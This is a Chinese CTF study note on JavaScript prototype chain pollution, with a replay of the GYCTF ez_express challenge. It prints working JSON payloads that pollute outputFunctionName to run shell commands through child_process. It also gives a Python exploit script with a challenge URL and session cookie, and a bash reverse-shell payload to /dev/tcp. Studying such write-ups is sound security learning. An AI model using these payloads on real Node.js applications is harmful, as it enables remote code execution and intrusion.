学习链接:
https://www.jianshu.com/p/6e623e9debe3
关于NJS https://xz.aliyun.com/t/7184
相关题是 GYCTF ez_express
看byc师傅总结过一点:原型链污染的题目必然有 merge(),clone()
基础:https://www.jianshu.com/p/6e623e9debe3
js不懂,慢慢先记录着
原型链的特性:
在我们调用一个对象的某属性时:
1.对象(obj)中寻找这一属性 2.如果找不到,则在obj.__proto__中寻找属性 3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
以上机制被称为js的prototype继承链。而原型链污染就与这有关
原型链污染定义:
如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
举例:
let foo = {bar: 1} console.log(foo.bar) foo.__proto__.bar = 2 console.log(foo.bar) let zoo = {} console.log(zoo.bar)
结果:
let foo ={bar:1} console.log(foo.bar) foo._proto__.bar=2 console.log(foo.bar) let zoo={} console.log(zoo.bar) 1 1 相关题:hgame sekiro
思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点
切记一定要让其__proto__解析为一个键名
byc师傅blog的总结:
总结下: 1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始 2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。 3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
ez_express复现:
源码泄露,审计主要的index.js,发现toUpperCase
根据这个函数的特征,构造ADMıN绕过,发现了merge(),确定原型链污染,开始找污染点。
这个属性存放未被定义的值,可能可以利用
但是源码里没有看到有可以RCE的地方,弹shell无法实现。
参考师傅PAYload
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "cat /flag > app/public/aaaaa"');//"}}
把/flag
的内容写到可见的位置public/aaaaa
注意:outputFunctionName的值需要先给值闭合,否则会报错。语句结束后再加上注释符号//
把后面注释掉。
exp:
import requests import json #admın绕过 #url='http://101.200.195.106:60073/action' url='http://2eb2968e-870f-412f-9bf0-3131dafe03ae.node3.buuoj.cn/action' headers={ 'Content-Type':'application/json' } cookies={ 'session':'s%3A65w99BKs5L1nDOLMCtF_QAEwA_LA1q0z.ipTpoU5zxg57jJqDxmVHhuC9H3Q%2Fh60S6bfZuwcm9VM' } payload={"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "cat /flag > app/public/tpl"');//"}} res=requests.post(url,headers=headers,data=json.dumps(payload),cookies=cookies) print(res.text)
访问下载flag
官方wp:
在vps上用nc监听对应端口
在action 页面 改Content-Type: application/json,POST发送构造好的payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');var __tmp2"}}
看响应是200了,访问 http://题目/info,flag在vps上看到。